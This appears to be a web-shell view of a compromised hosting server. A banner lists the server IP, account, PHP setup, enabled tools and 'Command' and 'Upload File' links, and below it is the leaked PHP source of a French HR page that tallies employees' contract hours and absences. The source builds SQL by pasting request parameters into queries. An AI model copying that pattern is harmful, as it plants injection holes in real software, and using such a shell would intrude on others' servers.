|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TEST/../TMCPRO/pages/feuillesroute/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$_SESSION['page_name']= basename($_SERVER['PHP_SELF']);
// echo "<pre>";
// print_r($_POST);
// echo "</pre>";
// echo "***********************************<br/>" ;
// echo "<pre>";
// print_r($_GET);
// echo "</pre>";
function count_week_days($__date_from, $__date_to, $__holidays_between=array(), $__weekend_days=array()) {
$total_days_count = $__date_to > $__date_from ? round(($__date_to - $__date_from)/(24*3600)) : 0;
$full_weeks_count = floor($total_days_count/7);
$weekend_days_count = $full_weeks_count*count($__weekend_days);
$days_left_uncovered = $total_days_count - $full_weeks_count*7;
for($i = 0; $i < $days_left_uncovered; $i++) {
$date_to_check = $i ? strtotime("+{$i} day", $__date_from) : $__date_from;
if(in_array(date('N', $date_to_check), $__weekend_days)) {
$weekend_days_count++;
}
}
$week_days_count = $total_days_count - $weekend_days_count - count($__holidays_between);
return $week_days_count;
}
// récupérer tous les salarié absence dans le mois courant
$req = "SELECT * FROM salarie_absence , salarie s where salarie_absence.salarie_id = s.salarie_id AND ( salarie_absence_date_debut BETWEEN 20220801 AND 20220831 OR salarie_absence_date_fin BETWEEN 20220801 AND 20220831 OR ( salarie_absence_date_debut <= 20220801 && salarie_absence_date_fin >= 20220831 ) )" ;
$reqex= dbi_query($req) ;
// echo date('Ymd');
$salarie_id = 3022;
$annee = $year = date('Y');
$mois = $month = date('m');
$months = array(
1 => 'Janvier',
2 => 'Février',
3 => 'Mars',
4 => 'Avril',
5 => 'Mai',
6 => 'Juin',
7 => 'Juillet',
8 => 'Août',
9=> 'Septembre',
10=> 'Octobre',
11 => 'Novembre',
12 => 'Décembre'
);
if(isset($_GET['salarie_id']))
$salarie_id = $_GET['salarie_id'];
if(isset($_POST['salarie_id']))
$salarie_id = $_POST['salarie_id'];
if(isset($_GET['date']))
{
$year = $month = $day = 0;
list($year ,$month, $day) = explode("-", $_GET['date']);
if( $year >= 1900 and $year <= (date('Y')+1) and $month >=1 and $month <=12 )
$datecal = "$year-$month-01";
else
$datecal = date('Y-m-01');
$annee = $year;
$mois = $month ;
}
else
$datecal = date('Y-m-01');
if(isset($_POST['mois']) && isset($_POST['annee'])){
$datecal = $_POST['annee'].'-'.$_POST['mois'].'-01';
$annee = $_POST['annee'];
$mois = $_POST['mois'];
}
function GET_type_pre ($name = '', $param = '',$value =1)
{
if(!is_array($value))
$value = array($value) ;
$tab = array(10 => 'Viste medicale', 11 => 'Entretien', 12 => 'Autre ');
$ret = "<select name=\"$name\" $param>";
foreach ($tab as $key => $val) {
$ret .= sprintf('<option value="%s"%s>%s </option>', $key, in_array($key , $value) ? ' selected' : '', $val) ;
}
return $ret."</select>" ;
}
$TMCPROCLIENTID = 10824;
$TMCPROCHANTIER_ID = 4360;
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>LogMCPRO | Prestations</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- Select2 -->
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
<!-- fullCalendar -->
<link rel="stylesheet" href="../plugins/fullcalendar/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-daygrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-timegrid/main.min.css">
<link rel="stylesheet" href="../plugins/fullcalendar-bootstrap/main.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
;
</style>
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<li>
<h3><button type="button" class="btn btn-info" data-toggle="modal" data-target="#modal-nouvelleprestation"> NOUVEAU TEMPS REGULIERE DE TRAVAIL </button></h3>
</li>
 
<li>
<h3><button type="button" class="btn btn-info" data-toggle="modal" data-target="#modal-nouvelleprestationpoctuelle"> NOUVEAU TEMPS PONCTUELLE DE TRAVAIL </button></h3>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<?php
include('menu.php');
?>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<!-- Main content -->
<section class="content">
<?php
if(isset($erreur) && $erreur == 3){
?>
<div class="alert alert-danger alert-dismissible col-12" role="alert">
<strong>attention : </strong>Aucune modification n'a été apportée à la prestation .
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="container-fluid">
<?php
if(isset($_GET["msg"]) && $_GET["msg"] == 'upt'){
?>
<div class="alert alert-success alert-dismissible col-12" role="alert">
<strong>Success:</strong>Préstation bien modifier.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
} elseif(isset($_GET["msg"]) && $_GET["msg"] == 'del'){
?>
<div class="alert alert-success alert-dismissible col-12" role="alert">
<strong>Success:</strong>Préstation bien supprimer.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<?php
$_SESSION["id_etab"]= 111 ;
// if(!empty( $_POST))
// {
// echo "<pre>" ;
// print_r($_POST) ;
// echo "<pre>" ;
// }
if(!empty( $_POST["etab"]))
{
$_SESSION["id_etab"] = $_POST["etab"];
}
// $id_etab= $_SESSION["id_etab"] ;
// echo "==> ".$_POST["etab"]."<br/>" ;
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND etablissement_id = ".$_SESSION["id_etab"] ;
}
?>
<div class="row">
<div class="col-lg-12">
<div class="card">
<div class="card-body">
<form id="client_statu_form" name="client_statu_form" method="POST" action="">
<div class="row">
<div class="col-sm-2">
<div class="form-group">
<label>Année</label>
<select name='annee' id='annee' class="form-control">
<?php
$earliest_year = 2018;
foreach (range($year+3, $earliest_year) as $x) {
print '<option value="'.$x.'"'.($x == $annee ? ' selected="selected"' : '').'>'.$x.'</option>';
}
?>
</select>
</div>
</div>
<div class="col-sm-3">
<div class="form-group">
<label>Mois</label>
<select name='mois' id='mois' class="form-control">
<?php
foreach ($months as $key => $value) {
$key = sprintf("%02d",$key );
print '<option value="'.$key.'"'.($key == $mois ? ' selected="selected"' : '').'>'.$value.'</option>';
}
?>
</select>
</div>
</div>
</div>
<input name="date" type ="hidden" value='<?php echo $datecal; ?>' />
</form>
</div>
</div>
<!-- /.card -->
</div>
<!-- /.col-md-6 -->
<?php
if(isset($_POST['mois']) && isset($_POST['annee']))
{
$crdebut = $_POST['annee'].'-'.$_POST['mois'].'-01';
$annee = $_POST['annee'];
$mois = $_POST['mois'];
}
elseif(isset($_GET['date']))
{
$year = $month = $day = 0;
list($year ,$month, $day) = explode("-", $_GET['date']);
if( $year >= 1900 and $year <= (date('Y')+1) and $month >=1 and $month <=12 )
$crdebut = "$year-$month-01";
else
$crdebut = date('Y-m-01');
}
else
$crdebut = date('Y-m-01');
$ctend = date("Y-m-t", strtotime($crdebut));
?>
<!-- /.col -->
<div class="col-md-12">
<div class="card card-primary">
<div class="card-body p-0">
<!-- THE CALENDAR -->
<div id="calendar"></div>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<div class="col-md-12">
<!-- TABLE: LATEST ORDERS -->
<div class="card">
<div class="card-header border-transparent">
<div class="card-tools">
<button type="button" class="btn btn-tool" data-card-widget="collapse">
<i class="fas fa-minus"></i>
</button>
</div>
</div>
<!-- /.card-header -->
<div class="card-body p-0">
<div class="table-responsive">
<table class="table m-0">
<thead>
<tr>
<th>Salarie</th>
<th>Période</th>
<th>Contrat</th>
<th>ACH</th>
<th>Absences</th>
<th>Travaillées</th>
<th>Ecart</th>
</tr>
</thead>
<tbody>
<?php
while( $requet = dbi_fetch_row($reqex))
{
// echo $requet['salarie_nom']." ".$requet['salarie_prenom']."<br/>" ;
$crdebut = date('Y-m-01');
$ctend = date("Y-m-t", strtotime($crdebut));
$salarie_id = $requet['salarie_id'];
// echo "==>".$salarie_id ."<br/>" ;
?>
<?php
while ($crdebut <= $ctend )
{
$week_start = date("Ymd", strtotime('monday this week', strtotime($crdebut)));
$week_end = date("Ymd", strtotime('sunday this week', strtotime($crdebut)));
// echo $week_start .' **** '.$week_end .'<br>' ;
$crdebut = date('Y-m-d', strtotime('+1 week', strtotime($crdebut)));
// $sql2="SELECT contrat_heure FROM ".TABLE_CONTRAT." WHERE inter_id = ".$salarie_id." AND contrat_debut<=".dateformaint($crdebut)." AND ( contrat_fin IS NULL OR contrat_fin >".dateformaint($crdebut)." ) AND Contrat_type_ID = 12 ORDER BY contrat_id DESC";
// $sql2 = "SELECT contrat_heure FROM ".TABLE_CONTRAT." WHERE contrat_debut <= $week_start AND (contrat_fin IS NULL OR contrat_fin > $week_start OR contrat_fin=0) AND inter_id = $salarie_id ORDER BY contrat_debut DESC LIMIT 1" ;
$sql2 = " SELECT salarie_contrat_duree_mensuelle FROM `salarie_contrat` WHERE salarie_contrat_date_debut <= $week_start AND (salarie_contrat_date_fin IS NULL OR salarie_contrat_date_fin > $week_start OR salarie_contrat_date_fin=0) AND salarie_id = $salarie_id AND contrat_type_id NOT IN(10, 11) ORDER BY salarie_contrat_date_debut DESC LIMIT 1 " ;
// echo
$sql22 = " SELECT hebdo_moyen_complement FROM `salarie_contrat`
WHERE
salarie_id = $salarie_id AND contrat_type_id IN(10, 11)
AND
(
( salarie_contrat_date_debut between $week_start AND $week_end )
OR
( salarie_contrat_date_fin between $week_start AND $week_end )
OR
( salarie_contrat_date_fin >= $week_end AND salarie_contrat_date_debut <= $week_start )
)
ORDER BY salarie_contrat_date_debut DESC LIMIT 1 " ;
// echo $sql22.'<br>';
// echo "------<br/>" ;
// echo $sql2.'<br/>' ;
list($heures_contrat_ACH)=dbi_fetch_row(dbi_query($sql2));
$heures_contrat_ACH= round($heures_contrat_ACH/4.333 , 2);
list($hebdo_moyen_complement)=dbi_fetch_row(dbi_query($sql22));
$date = $week_start ;
$presta_Hduree = 0;
while ($date <= $week_end )
{
// echo "--- $date --- $week_end <br/>" ;
// echo "<br/>" ;
// echo "
// SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
// AND ( p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $salarie_id ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id ) )
// ";
$q = dbi_query("
SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
AND ( p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $salarie_id ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id ) )
AND ( p.presta_recur IS NULL OR p.presta_recur NOT IN ( SELECT presta_id FROM PRESTATIONS where presta_date_fin < $date ))
");
// echo "
// SELECT * FROM PRESTATIONS p where presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL)
// AND ( p.presta_id IN (select presta_id FROM PRESTATIONS WHERE salarie_id = $salarie_id ) OR p.presta_id IN ( select presta_id FROM PRESTATIONS_MODIF WHERE salarie_id = $salarie_id ) )
// AND ( p.presta_recur IS NULL OR p.presta_recur NOT IN ( SELECT presta_id FROM PRESTATIONS where presta_date_fin < $date ))
// <br/>" ;
while($prest = dbi_fetch_row($q))
{
$date_presta_sem = $prest['presta_date_debut'] ;
$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." order by start, modif_id ") ;
while (($m = dbi_fetch_row($q1)) && $date >= $m['start'])
{
if( $m['presta_sem'] != NULL ) $date_presta_sem = $m['start'];
$prest['salarie_id'] = $m['salarie_id'] === NULL ? $prest['salarie_id'] : $m['salarie_id'] ;
$prest['presta_sem'] = $m['presta_sem'] === NULL ? $prest['presta_sem'] : $m['presta_sem'] ;
$prest['presta_jour'] = $m['presta_jour'] === NULL ? $prest['presta_jour'] : $m['presta_jour'] ;
$prest['presta_Hduree'] = $m['presta_Hduree'] === NULL ? $prest['presta_Hduree'] : $m['presta_Hduree'] ;
}
if( $prest['salarie_id'] == $salarie_id ) {
// $nbre =count_week_days(strtotime(int2date_autre_format($date_presta_sem,'d.m.Y')), strtotime(int2date_autre_format($date,'d.m.Y')));
// echo ' +++++++++++++++ ';
$day = date("w", strtotime( int2date_autre_format($date)));
// echo "==> $day <br/>" ;
if( $day == $prest['presta_jour'] OR ( $date == $prest['presta_date_debut'] && $prest['presta_date_debut'] == $prest['presta_date_fin'] ) ){
$EXP = dbi_fetch_row(dbi_query("SELECT date_presta FROM EXCEPTIONS WHERE presta_id = ".$prest['presta_id']." AND date_presta = ".$date." " )) ; ;
if($EXP ){} else {
if( $prest['presta_sem'] == 1 )
$presta_Hduree = $presta_Hduree + $prest['presta_Hduree'] ;
else{
$nbre =count_week_days(strtotime(int2date_autre_format($date_presta_sem,'d.m.Y')), strtotime(int2date_autre_format($date,'d.m.Y')));
$modolo = $nbre % $prest['presta_sem'] ;
if( $modolo == 0)
$presta_Hduree = $presta_Hduree + $prest['presta_Hduree'] ;
}
}
}
}
}
$date = date("Ymd", strtotime("+1 day", strtotime($date)));
}
// echo " $$$$$$$$$$$ ";
// $presta_Hduree/= 60;
$presta_Hduree /= 60 ;
// $pour $p
$badge = 'badge-success';
if($presta_Hduree < ($heures_contrat_ACH + $hebdo_moyen_complement ))
$badge = 'badge-danger';
else
$badge = 'badge-warning';
// else($presta_Hduree > $heures_contrat_ACH)
// $badge = 'badge-warning';
list($abs)= dbi_fetch_row( dbi_query("SELECT count(*) as abs FROM salarie_absence where salarie_id = '".$salarie_id."' AND ( salarie_absence_date_debut BETWEEN $week_start AND $week_end OR salarie_absence_date_fin BETWEEN $week_start AND $week_end
OR ( salarie_absence_date_debut <= $week_start && salarie_absence_date_fin >= $week_end )
) " )) ;
// echo "kkkkkkkkkkkk <br/>" ;
if($abs > 0 AND $presta_Hduree > 0 ){ // si le salarie a une absence dans la semaine on affiche la ligne de la semaine ** AND ** et aussi a des heures du trvaille dans la semaine
echo
"<tr>
<td> <a href='calendar2.php?link=salarie&page=aaa&salarie_id= ". $requet['salarie_id']."' target='' > ".$requet['salarie_nom']." ".$requet['salarie_prenom']." </a></td>
<td><b> ".int2date_autre_format($week_start,'d/m/Y')." </b> au <b> ".int2date_autre_format($week_end,'d/m/Y')." </b> </td>
<td> <b> ".number_format( $heures_contrat_ACH, 2, ',', ' ')."</b> </td>
<td> <b> ".number_format( $hebdo_moyen_complement, 2, ',', ' ')."</b> </td>
";
$q= dbi_query("SELECT * FROM salarie_absence where salarie_id = '".$salarie_id."' AND ( salarie_absence_date_debut BETWEEN $week_start AND $week_end OR salarie_absence_date_fin BETWEEN $week_start AND $week_end
OR ( salarie_absence_date_debut <= $week_start && salarie_absence_date_fin >= $week_end )
) " ) ;
// echo "SELECT * FROM salarie_absence where salarie_id = '".$salarie_id."' AND ( salarie_absence_date_debut BETWEEN $week_start AND $week_end OR salarie_absence_date_fin BETWEEN $week_start AND $week_end
// OR ( salarie_absence_date_debut <= $week_start && salarie_absence_date_fin >= $week_end )
// ) <br/>" ;
echo "<td>";
while($cl=dbi_fetch_row($q))
{
list($motif)= dbi_fetch_row(dbi_query("SELECT descr FROM cause_absence where cause_id =".$cl['absence_type_id'])) ;
$fin = int2date($cl['salarie_absence_date_fin']);
if( empty($cl["salarie_absence_date_fin"]) OR $cl["salarie_absence_date_fin"] ==0)
$fin = ' Pas de Date Fin ';
echo " $motif du <b> ".int2date($cl['salarie_absence_date_debut'])." </b> au <b> ".$fin." </b> ( de ".$cl['salarie_absence_heure_debut']." á ".$cl['salarie_absence_heure_fin']." ) <br>";
}
echo "</td>";
echo "<td><span class='badge ".$badge."'> ".number_format( $presta_Hduree, 2, ',', ' ')." </span></td>";
$delta = ($presta_Hduree - $heures_contrat_ACH - $hebdo_moyen_complement );
echo "<td><b> ".number_format( $delta, 2, ',', ' ')." </b></td>";
echo "</tr>" ;
}
// if($presta_Hduree<$heures_contrat_ACH )
// {
// echo "<td><div class='sparkbar' data-color='#FF3355' data-height='20'></div></td>" ;
// }else
// {
// echo "<td><div class='sparkbar' data-color='#00a65a' data-height='20'></div></td>" ;
// }
// echo "";
}
?>
</div>
<?php }?>
<!-- /.table-responsive -->
</div>
</tbody>
</table>
<!-- /.card-body -->
<!-- /.card-footer -->
</div>
<!-- /.card -->
</div>
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.2
</div>
<strong>Copyright © 2020<a href="http://adminlte.io">TMCPRO</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- jQuery UI -->
<script src="../plugins/jquery-ui/jquery-ui.min.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
</body>
</html>
